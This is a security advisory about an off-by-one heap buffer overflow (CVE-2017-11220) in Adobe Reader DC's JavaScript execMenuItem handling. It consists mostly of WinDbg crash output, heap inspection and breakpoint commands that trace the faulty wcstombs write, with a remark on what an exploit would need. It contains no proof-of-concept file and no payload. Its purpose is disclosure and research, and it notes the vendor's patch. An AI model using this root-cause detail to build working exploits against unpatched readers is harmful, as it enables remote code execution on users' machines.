SSD Advisory – Adobe Reader DC – execMenuItem Off-by-One Heap Buffer Overflow

blogs.securiteam.com/index.php/archives/3275

SSD / Maor Schwartz August 9, 2017

Vulnerability Summary
The following advisory describes a JavaScript execMenuItem off-by-One heap buffer overflow, that can potentially lead to Remote Code Execution, found in Adobe Reader DC version 15.23.20056.213124.

Credit
An independent security researcher, Steven Seeley, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address this vulnerability.

For more information: http://www.adobe.com/devnet-docs/acrobatetk/tools/ReleaseNotes/DC/dccontinuousaug2017.html#dccontinuousaugusttwentyseventeen

CVE: CVE-2017-11220

Vulnerability Details
An attacker can craft a specially designed PDF that forces an off-by-one heap buffer overflow in the script engine. This can potentially allow an attacker to leak information or gain remote code execution.

If we will look at the debugger output, we will see the following:

```
1  ===========================================================
2  VERIFIER STOP 0000000F: pid 0x11B4: corrupted suffix pattern
3
4  02001000 : Heap handle
5  31EF2FE0 : Heap block
6  0000001D : Block size
7  31EF2FFD : corruption address
8  ===========================================================
9  This verifier stop is not continuable. Process will be terminated
10 when you use the `go' debugger command.
11 ===========================================================
12
13 (11b4.1bc4): Break instruction exception - code 80000003 (first chance)
14 eax=00000000 ebx=00000000 ecx=680a8598 edx=00000000 esi=02000000 edi=02000000
15 eip=6807ba58 esp=0018cd4c ebp=0018cd68 iopl=0         nv up ei pl zr na pe nc
16 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
17 verifier!VerifierStopMessage+0x1f8:
18 6807ba58 cc              int     3
```

Then, we will display the global flags

```
1  0:000> !gflag
2  Current NtGlobalFlag contents: 0x02000000
3      hpa - Place heap allocations at ends of pages
```

And the use the !avrf command:

```
1      0:000> !avrf
2      Application verifier is not enabled for this process.
3      Page heap has been enabled separately.
4      ************************************************************************
5      *                                                      *
6      *                    Exception Analysis                        *
7      *                                                      *
8      ************************************************************************
9
10     APPLICATION_VERIFIER_HEAPS_CORRUPTED_HEAP_BLOCK_SUFFIX (f)
11     Corrupted suffix pattern for heap block.
12     Most typically this happens for buffer overrun errors. Sometimes the application verifier places non-accessible pages at the end of the allocation and buffer overruns will cause
13     access violation and sometimes the heap block is followed by a magic pattern. If this pattern is changed when the block gets freed you will get this break. These breaks can be
14     difficult to debug because you do not have the actual moment when corruption happened. You just have access to the free moment (stop happened here) and the allocation st
15     (!heap -p -a HEAP_BLOCK_ADDRESS)
16     Arguments:
17     Arg1: 00511000, Heap handle used in the call.
18     Arg2: 35260fe0, Heap block involved in the operation.
19     Arg3: 0000001d, Size of the heap block.
20     Arg4: 35260ffd, Corruption address.
21     ************************************************************************
22     ***                                          ***
23     ***                                          ***
24     ***    Your debugger is not using the correct symbols              ***
25     ***                                          ***
```

```
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*******************************************************************************
*******************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*******************************************************************************

FAULTING_IP:
verifier!VerifierStopMessage+1f8
6807ba58 cc int 3

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 6807ba58 (verifier!VerifierStopMessage+0x000001f8)
ExceptionCode: 80000003 (Break instruction exception)
ExceptionFlags: 00000000
NumberParameters: 3
Parameter[0]: 00000000
Parameter[1]: ea5d12d8
Parameter[2]: 00000000

FAULTING_THREAD: 00001ad4

DEFAULT_BUCKET_ID: STATUS_BREAKPOINT

PROCESS_NAME: AcroRd32.exe

ERROR_CODE: (NTSTATUS) 0x80000003 - {EXCEPTION} Breakpoint A breakpoint has been reached.

EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - One or more arguments are invalid

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: ea5d12d8

EXCEPTION_PARAMETER3: 00000000

NTGLOBALFLAG: 2000000

APPLICATION_VERIFIER_FLAGS: 80000005

PRIMARY_PROBLEM_CLASS: STATUS_BREAKPOINT

BUGCHECK_STR: APPLICATION_FAULT_STATUS_BREAKPOINT

STACK_TEXT:
0030ca28 68079df2 0000000f 68071620 00511000 verifier!VerifierStopMessage+0x1f8
0030ca8c 6807a081 00511000 00000000 35260fe0 verifier!AVrfpDphReportCorruptedBlock+0x1c2
0030caf4 6807705a 00511000 35960888 00000000 verifier!AVrfpDphCheckPageHeapBlock+0x161
0030cb20 68077240 00511000 35260fe0 0030cb90 verifier!AVrfpDphFindBusyMemory+0xda
0030cb3c 68079080 00511000 35260fe0 00000018 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20
0030cb58 77c169d4 00510000 01000002 35260fe0 verifier!AVrfDebugPageHeapFree+0x90
0030cba0 77bd9e5b 00510000 01000002 35260fe0 ntdll!RtlDebugFreeHeap+0x2f
0030cc94 77ba6416 00000000 35260fe0 35309fea ntdll!RtlpFreeHeap+0x5d
0030ccb4 7733c584 00510000 00000000 35260fe0 ntdll!RtlFreeHeap+0x142
0030ccc8 6152ecfa 00510000 00000000 35260fe0 kernel32!HeapFree+0x14
0030ccdc 516b9c82 35260fe0 2193c47c 353dcfd0 MSVCR120!free+0x1a [f:\dd\vctools\crt\crtw32\heap\free.c @ 51]
```

```
WARNING: Stack unwind information not available. Following frames may be wrong.
0030cd28 516d109f 352f5ff0 35309fea 0030cd58 AcroRd32_51660000!AcroWinMainSandbox+0x1171e
0030cd38 516d0a95 352f5ff0 35309fe8 35309fea AcroRd32_51660000!CTJPEGLibInit+0x6a2f
0030cd58 516d1055 353dcfb0 516d108b 352f5ff0 AcroRd32_51660000!CTJPEGLibInit+0x6425
0030cd70 516fdc06 352f5ff0 2193c4c8 52431de4 AcroRd32_51660000!CTJPEGLibInit+0x69e5
0030cd9c 516fdb69 0030cdf8 0030cddc 516bae3c AcroRd32_51660000!DllCanUnloadNow+0xea21
0030cda8 516bae3c 00000001 0030cdf8 517929c3 AcroRd32_51660000!DllCanUnloadNow+0xe984
0030cddc 51ce1540 2193c77c 3112c378 00000001 AcroRd32_51660000!AcroWinMainSandbox+0x128d8
0030ce28 51a362b0 2001000e 00000000 3112c7fe AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x4034f
0030ce74 51a39f1d 0030cf10 3112c378 0030d4bc AcroRd32_51660000!AX_PDXlateToHostEx+0x3995d
0030d434 51a3c3fd 22a38db8 00000000 0030d4bc AcroRd32_51660000!AX_PDXlateToHostEx+0x3d5ca
0030d46c 51d6f86a 22a38db8 0030d4bc 00000000 AcroRd32_51660000!AX_PDXlateToHostEx+0x3faaa
0030d488 51cda0de 22a38db8 0030d4bc 2193dda4 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0xce679
0030d4f0 51cd76eb 22a38db8 11746fd0 0030d510 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x38eed
0030d500 51cf625a 22a38db8 00000002 0030d560 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x364fa
0030d510 51d6d3ad 00000000 1185cf90 51d0b6f0 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x55069
0030d560 51d0cf03 1185cf90 00000002 0030d5a0 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0xcc1bc
0030d570 58c23255 1185cf90 259bb1f9 2fe36fb8 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x6bd12
0030d5a0 58c1be19 1185cf90 00000000 00000000 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x5c4e3
0030d640 58bb26f9 2fe36fb8 2ef5cfe8 3051cfb8 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x550a7
0030d6b8 58b975c6 258caf58 00000001 262db068 EScript!mozilla::HashBytes+0x4209d
0030d72c 58b917d2 258caf58 262db078 00000001 EScript!mozilla::HashBytes+0x26f6a
0030dc84 58b90600 258caf58 0030dcd0 259bb8e5 EScript!mozilla::HashBytes+0x21176
0030dcbc 58b9050b 258caf58 0030dcd0 258caf58 EScript!mozilla::HashBytes+0x1ffa4
0030dcf8 58b90452 258caf58 0030dd78 25d29a60 EScript!mozilla::HashBytes+0x1feaf
0030dd28 58b79e27 258caf58 0030dd78 25d29a60 EScript!mozilla::HashBytes+0x1fdf6
0030dd70 58bb8705 25d83f00 0030ddf8 00000000 EScript!mozilla::HashBytes+0x97cb
0030ddec 58bb8488 258caf58 25d29a60 3055af88 EScript!mozilla::HashBytes+0x480a9
0030dfa0 58bb7efb 30558ff0 2fbd8fe0 2ef9eff0 EScript!mozilla::HashBytes+0x47e2c
0030dfec 58bb6ded 258c8fc0 30838fb8 2fc7ef80 EScript!mozilla::HashBytes+0x4789f
0030e084 58c2643a 224a0be0 30838fb8 2f780f80 EScript!mozilla::HashBytes+0x46791
0030e0dc 51d7c355 169a8fc8 80010000 00000002 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x5f6c8
0030e0fc 51cbeadb 169a8fc8 80010000 00000002 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0xdb164
0030e184 51cbb1cc 22a38db8 80010000 00000002 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x1d8ea
0030e1d4 51b58ebb 80010000 00000002 0030e2fc AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x19fdb
0030e20c 51b59222 80010000 00000002 51cbb179 AcroRd32_51660000!AX_PDXlateToHostEx+0x15c568
0030e260 51cbe838 80010000 00000002 51cbb179 AcroRd32_51660000!AX_PDXlateToHostEx+0x15c8cf
0030e338 517f4d04 22a38db8 80010000 00000002 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x1d647
0030e384 517bd5bd 00000000 2193ea80 00000000 AcroRd32_51660000!CTJPEGWriter::CTJPEGWriter+0xe7761
0030e3d4 5173e9b7 22a38db8 12278ef0 00000000 AcroRd32_51660000!CTJPEGWriter::CTJPEGWriter+0xb001a
0030e45c 5173d941 224a0be0 00000000 0030e7dc AcroRd32_51660000!CTJPEGWriter::CTJPEGWriter+0x31414
0030e58c 51722143 224a0be0 00000000 52936418 AcroRd32_51660000!CTJPEGWriter::CTJPEGWriter+0x3039e
0030e608 51721701 1c1c8f90 524bd868 00000000 AcroRd32_51660000!CTJPEGWriter::CTJPEGWriter+0x14ba0
0030e6fc 517211d0 1c1c8f90 524bd868 00000000 AcroRd32_51660000!CTJPEGWriter::CTJPEGWriter+0x1415e
0030e730 5171f184 1c1c8f90 524bd868 00000000 AcroRd32_51660000!CTJPEGWriter::CTJPEGWriter+0x13c2d
0030e874 51cd8ee7 1c1c8f90 524bd868 00000000 AcroRd32_51660000!CTJPEGWriter::CTJPEGWriter+0x11be1
0030e88c 51cc8fb4 1c1c8f90 524bd868 00000000 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x37cf6
0030e958 51e6de73 16bd0fe8 00000000 2193e0f0 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x27dc3
0030e9a4 51e6e075 16bd0fe8 2193e364 16bd0fe8 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x1ccc82
0030ea30 52182549 16bd0fe8 0030ea58 0030ea54 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x1cce84
0030ea84 52182caa 1bb88fe8 2153aff0 5260bcec AcroRd32_51660000!ixVectorNextHit+0x186ee7
0030eacc 521821fa 215e5ff0 2193e3a8 1c270fe0 AcroRd32_51660000!ixVectorNextHit+0x187648
0030eafc 51cc03c5 1c270fe0 2193e210 00000000 AcroRd32_51660000!ixVectorNextHit+0x186b98
0030eb44 51cbfca3 1c270fe0 2193e2f4 00000000 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x1f1d4
0030eba0 520d0d1d 00000001 1c270fe0 1c02cff0 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x1eab2
0030ebbc 520d0721 00000cc8 1c02cff0 2193e2a4 AcroRd32_51660000!ixVectorNextHit+0xd56bb
0030ebf0 521d7484 1bb88fe8 2193e53c 00000000 AcroRd32_51660000!ixVectorNextHit+0xd50bf
0030ec68 51d14a97 00000076 0000000b 00000002 AcroRd32_51660000!ixVectorNextHit+0x1dbe22
0030eccc 51d1357b 00000076 0000000b 00000002 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x738a6
0030ece4 51d1353d 1bb03a60 00000076 0000000b AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x7238a
0030ed00 51d1358e 1bb03a60 51e8c151 51d14a97 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x7234c
0030ed70 51d1494a 00000062 00000003 00000002 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x7239d
0030edb4 51d1a0db 00000076 0000000b 00000002 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x73759
0030ede0 516fd2ec 00000001 000b0076 1b356fa0 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x78eea
0030ee00 516fcc4c 00000201 00000001 000b0076 AcroRd32_51660000!DllCanUnloadNow+0xe107
0030ee1c 7763c4b7 002003b6 00000201 00000001 AcroRd32_51660000!DllCanUnloadNow+0xda67
0030ee48 7763c5b7 516fcbaf 002003b6 00000201 USER32!InternalCallWinProc+0x23
0030eec0 7763cbe9 005f9ed4 516fcbaf 002003b6 USER32!UserCallWinProcCheckWow+0x14b
0030ef20 7763cc40 516fcbaf 00000000 0030efa4 USER32!DispatchMessageWorker+0x357
0030ef30 5170949f 0030ef4c 2193e6f0 00000001 USER32!DispatchMessageW+0xf
0030efa4 517092ab 2193e688 00000001 04423de0 AcroRd32_51660000!DllCanUnloadNow+0x1a2ba
0030efdc 516a8e48 2193f91c 00000000 0030f4d8 AcroRd32_51660000!DllCanUnloadNow+0x1a0c6
0030f048 516a872e 51660000 01090000 0431cfe0 AcroRd32_51660000!AcroWinMainSandbox+0x8e4
0030f468 01097086 51660000 01090000 0431cfe0 AcroRd32_51660000!AcroWinMainSandbox+0x1ca
0030f78c 0117d861 01090000 00000000 00519efc AcroRd32+0x7086
0030f7d8 7733ef1c 7ffdc000 0030f824 77bb367a AcroRd32!AcroRd32IsBrokerProcess+0x8ba51
0030f7e4 77bb367a 7ffdc000 74861c5b 00000000 kernel32!BaseThreadInitThunk+0xe
```

```
0030f824 77bb364d 010912b7 7ffdc000 ffffffff ntdll!__RtlUserThreadStart+0x70
0030f83c 00000000 010912b7 7ffdc000 00000000 ntdll!_RtlUserThreadStart+0x1b


FOLLOWUP_IP:
verifier!VerifierStopMessage+1f8
6807ba58 cc              int     3

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  verifier!VerifierStopMessage+1f8

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: verifier

IMAGE_NAME:  verifier.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  4a5bdb2a

STACK_COMMAND:  ~0s ; kb

FAILURE_BUCKET_ID:  STATUS_BREAKPOINT_80000003_verifier.dll!VerifierStopMessage

BUCKET_ID:  APPLICATION_FAULT_STATUS_BREAKPOINT_verifier!VerifierStopMessage+1f8

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/AcroRd32_exe/15_23_20070_19033/58a745fb/verifier_dll/6_1_7600_16385/4a5bdb2a/80000003/0000b
Retriage=1

Followup: MachineOwner
---------

0:000> !heap -p -a 35260ffd
    address 35260ffd found in
    _DPH_HEAP_ROOT @ 511000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                35960888:         35260fe0              1d -         35260000             2000
          propsys!___PchSym_ <PERF> (propsys+0xe694d)
    68078e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77c16206 ntdll!RtlDebugAllocateHeap+0x00000030
    77bda127 ntdll!RtlpAllocateHeap+0x000000c4
    77ba5950 ntdll!RtlAllocateHeap+0x0000023a
    6152ed63 MSVCR120!malloc+0x00000049
    516a3fb2 AcroRd32_51660000+0x00043fb2
    51e84c45 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x001e3a54
    51ce14e0 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x000402ef
    51a362b0 AcroRd32_51660000!AX_PDXlateToHostEx+0x0003995d
    51a39f1d AcroRd32_51660000!AX_PDXlateToHostEx+0x0003d5ca
    51a3c3fd AcroRd32_51660000!AX_PDXlateToHostEx+0x0003faaa
    51d6f86a AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x000ce679
    51cda0de AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x00038eed
    51cd76eb AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x000364fa
    51cf625a AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x00055069
    51d6d3ad AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x000cc1bc
    51d0cf03 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x0006bd12
    58c23255 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005c4e3
    58c1be19 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x000550a7
    58bb26f9 EScript!mozilla::HashBytes+0x0004209d
    58b975c6 EScript!mozilla::HashBytes+0x00026f6a
    58b917d2 EScript!mozilla::HashBytes+0x00021176
    58b90600 EScript!mozilla::HashBytes+0x0001ffa4
    58b9050b EScript!mozilla::HashBytes+0x0001feaf
    58b90452 EScript!mozilla::HashBytes+0x0001fdf6
    58b79e27 EScript!mozilla::HashBytes+0x000097cb
    58bb8705 EScript!mozilla::HashBytes+0x000480a9
    58bb8488 EScript!mozilla::HashBytes+0x00047e2c
    58bb7efb EScript!mozilla::HashBytes+0x0004789f
    58bb6ded EScript!mozilla::HashBytes+0x00046791
    58c2643a EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f6c8
    51d7c355 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x000db164
```

Now we know the heap chunk is size 0x1d that is overflowed. So for exploitation, we need to make sure our target chunk is 0x1d in size.

```
0:000> db 35260fe0
35260fe0  4d 69 63 72 6f 73 6f 66-74 20 58 50 53 20 44 6f  Microsoft XPS Do
35260ff0  63 75 6d 65 6e 74 20 57-72 69 74 65 72 00 d0 d0  cument Writer...
35261000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
35261010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
35261020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
35261030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
35261040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
35261050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
```

To batter understanding the size of heap chunk

```
0:000> ?? sizeof(ntdll!_DPH_BLOCK_INFORMATION)
unsigned int 0x20
```

Now, lets inspect the heap chunk

```
0:000> db 35260fe0-20
35260fc0  bb bb cd ab 00 10 51 00-1d 00 00 00 00 10 00 00  ......Q.........
35260fd0  00 00 00 00 00 00 00 00-9c 68 62 01 bb bb ba dc  .........hb.....
35260fe0  4d 69 63 72 6f 73 6f 66-74 20 58 50 53 20 44 6f  Microsoft XPS Do
35260ff0  63 75 6d 65 6e 74 20 57-72 69 74 65 72 00 d0 d0  cument Writer...
35261000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
35261010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
35261020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
35261030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
```

```
0:000> dt ntdll!_DPH_BLOCK_INFORMATION 35260fe0-20
   +0x000 StartStamp       : 0xabcdbbbb
   +0x004 Heap             : 0x00511000
   +0x008 RequestedSize    : 0x1d
   +0x00c ActualSize       : 0x1000
   +0x010 FreeQueue        : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x010 FreePushList     : _SINGLE_LIST_ENTRY
   +0x010 TraceIndex       : 0
   +0x018 StackTrace       : 0x0162689c
   +0x01c EndStamp         : 0xdcbabbbb
```

We can also get the chunks stack trace form the StackTrace pointer in the heap header:

```
0:000> dps 0x0162689c
0162689c  0155d814
016268a0  0000f801
016268a4  00200000
016268a8  68078e89 verifier!AVrfDebugPageHeapAllocate+0x229
016268ac  77c16206 ntdll!RtlDebugAllocateHeap+0x30
016268b0  77bda127 ntdll!RtlpAllocateHeap+0xc4
016268b4  77ba5950 ntdll!RtlAllocateHeap+0x23a
016268b8  6152ed63 MSVCR120!malloc+0x49 [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
016268bc  516a3fb2 AcroRd32_51660000+0x43fb2
016268c0  51e84c45 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x1e3a54
016268c4  51ce14e0 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x402ef
016268c8  51a362b0 AcroRd32_51660000!AX_PDXlateToHostEx+0x3995d
016268cc  51a39f1d AcroRd32_51660000!AX_PDXlateToHostEx+0x3d5ca
016268d0  51a3c3fd AcroRd32_51660000!AX_PDXlateToHostEx+0x3faaa
016268d4  51d6f86a AcroRd32_51660000!CTJPEGWarningHandler::operator=+0xce679
016268d8  51cda0de AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x38eed
016268dc  51cd76eb AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x364fa
016268e0  51cf625a AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x55069
016268e4  51d6d3ad AcroRd32_51660000!CTJPEGWarningHandler::operator=+0xcc1bc
016268e8  51d0cf03 AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x6bd12
016268ec  58c23255 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x5c4e3
016268f0  58c1be19 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x550a7
016268f4  58bb26f9 EScript!mozilla::HashBytes+0x4209d
016268f8  58b975c6 EScript!mozilla::HashBytes+0x26f6a
016268fc  58b917d2 EScript!mozilla::HashBytes+0x21176
01626900  58b90600 EScript!mozilla::HashBytes+0x1ffa4
01626904  58b9050b EScript!mozilla::HashBytes+0x1feaf
01626908  58b90452 EScript!mozilla::HashBytes+0x1fdf6
0162690c  58b79e27 EScript!mozilla::HashBytes+0x97cb
01626910  58bb8705 EScript!mozilla::HashBytes+0x480a9
01626914  58bb8488 EScript!mozilla::HashBytes+0x47e2c
01626918  58bb7efb EScript!mozilla::HashBytes+0x4789f
```

Now that we know where the allocation is, we can set a break-point just past it and dump its information before the overflow occurs.

First, we will get the module name, since it changes due to ASLR:

```
1  lmi m AcroRd32*
```

Now, we set the breakpoints. The second break-point is set into the operator new and will trigger to enable the first break-point which is just after the allocation.

Then the first break-point will set a hardware break-point on the newly allocated chunk just past the size of the chunk to catch the off-by-one, and then continue execution.

```
1  bp AcroRd32_50040000+0x43fb2 "db @eax-20; bd *;ba w1 @eax+0x1d;gc"
2  bd 0
3  bp AcroRd32_50040000+0x00824c40 "be 0;gc"
4  g
```

Second re-run of the vulnerability

```
1  (e54.1c6c): Break instruction exception - code 80000003 (first chance)
2  eax=7ffd7000 ebx=00000000 ecx=00000000 edx=77beec4b esi=00000000 edi=00000000
3  eip=77b83c8c esp=1ecbfa34 ebp=1ecbfa60 iopl=0         nv up ei pl zr na pe nc
4  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
5  ntdll!DbgBreakPoint:
6  77b83c8c cc              int     3
```

Then we will run the following command:

```
1   0:007> lmi m AcroRd32*
2   start    end        module name
3   00360000 0057d000   AcroRd32   (export symbols)       C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
4   50040000 5165d000   AcroRd32_50040000   (export symbols)       C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll
5   0:007> bp AcroRd32_50040000+0x43fb2 "db @eax-20; bd *;ba w1 @eax+0x1d;gc"
6   0:007> bd 0
7   0:007> bp AcroRd32_50040000+0x00824c40 "be 0;gc"
8   0:007> g
9
10  ...
11
12  Breakpoint 2 hit
13  eax=361f0000 ebx=00000200 ecx=36b58fe0 edx=000000ff esi=0000001d edi=31a56838
14  eip=6171299c esp=0027d2e4 ebp=0027d31c iopl=0         nv up ei ng nz ac po cy
15  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
16  MSVCR120!_wcstombs_l_helper+0x8e:
17  6171299c 668b07          mov     ax,word ptr [edi]        ds:0023:31a56838=0000
18  0:000> ub .
19  MSVCR120!_wcstombs_l_helper+0x1dd [f:\dd\vctools\crt\crtw32\convert\wcstombs.c @ 183]:
20  6171297e e8faedfeff      call    MSVCR120!_errno (6170177d)
21  61712983 e9db490300      jmp     MSVCR120!_wcstombs_l_helper+0x1e2 (61747363)
22  61712988 e8f0edfeff      call    MSVCR120!_errno (6170177d)
23  6171298d e9df490300      jmp     MSVCR120!_wcstombs_l_helper+0x23e (61747371)
24  61712992 663917          cmp     word ptr [edi],dx
25  61712995 77e7            ja      MSVCR120!_wcstombs_l_helper+0x1dd (6171297e)
26  61712997 8a07            mov     al,byte ptr [edi]
27  61712999 880431          mov     byte ptr [ecx+esi],al
```

We can see that the written byte is here

```
1  0:000> db @ecx+esi L1
2  36b58ffd  00
```

Just to confirm we are looking at the right chunk:

```
1   0:000> db @ecx+esi-0x1d-0x20
2   36b58fc0  bb bb cd ab 00 10 58 01-1d 00 00 00 00 10 00 00  ......X.........
3   36b58fd0  00 00 00 00 00 00 00 00-d4 7d 8f 00 bb bb ba dc  .........}......
4   36b58fe0  4d 69 63 72 6f 73 6f 66-74 20 58 50 53 20 44 6f  Microsoft XPS Do
5   36b58ff0  63 75 6d 65 6e 74 20 57-72 69 74 65 72 00 d0 d0  cument Writer...
6   36b59000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
7   36b59010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
8   36b59020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
9   36b59030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
10
11  0:000> kvn L2
12  # ChildEBP RetAddr  Args to Child
13  00 0027d31c 6177ab06 36b58fe0 31a567fe 00000200 MSVCR120!_wcstombs_l_helper+0x8e (FPO: [Non-Fpo]) (CONV: cdecl)
14  01 0027d334 50864c56 36b58fe0 31a567fe 00000200 MSVCR120!wcstombs+0x13 (FPO: [Non-Fpo]) (CONV: cdecl)
```

Now we will find exactly where the overwrite occurs by looking at the wcstombs call:

```
0:000> ub 50864c56
AcroRd32_50040000!CTJPEGWarningHandler::operator=+0x1e3a4d:
50864c3e 59              pop     ecx
50864c3f 50              push    eax
50864c40 e88b0282ff      call    AcroRd32_50040000+0x44ed0 (50084ed0)
50864c45 c7042400020000  mov     dword ptr [esp],200h
50864c4c 8bf0            mov     esi,eax
50864c4e 57              push    edi
50864c4f 56              push    esi
50864c50 ff15fc1ae050    call    dword ptr [AcroRd32_50040000!CTJPEGThrowException+0x1d8fbc (50e01afc)]
```

Now, we will get the offset for IDA using IDA's base for AcroRd32.dll

```
0:000> ?50864c50-AcroRd32_50040000+0x60000000
Evaluate expression: 1619151952 = 60824c50
```

Third re-run of the vulnerability:

If we re-run it again and set a breakpoint right at that location where the wcstombs is called, we see the following:

```
0:000> t
eax=31ef2fe0 ebx=0018d134 ecx=77ba5c43 edx=00000000 esi=31ef2fe0 edi=2f7697fe
eip=51e84c50 esp=0018d0fc ebp=0018d114 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
AcroRd32_51660000!CTJPEGWarningHandler::operator=+0x1e3a5f:
51e84c50 ff15fc1a4252    call    dword ptr [AcroRd32_51660000!CTJPEGThrowException+0x1d8fbc (52421afc)] ds:0023:52421afc={MSVCR120!wcstombs (6162aaf3)}

0:000> dd @esp L3
0018d0fc  31ef2fe0 2f7697fe 00000200
```

Destination target buffer for the overflow:

```
0:000> db poi(@esp)-20
31ef2fc0  bb bb cd ab 00 10 00 02-1d 00 00 00 00 10 00 00  ................
31ef2fd0  00 00 00 00 00 00 00 00-dc 76 37 01 bb bb ba dc  .........v7.....
31ef2fe0  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
31ef2ff0  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 d0 d0 d0  ................
31ef3000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
31ef3010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
31ef3020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
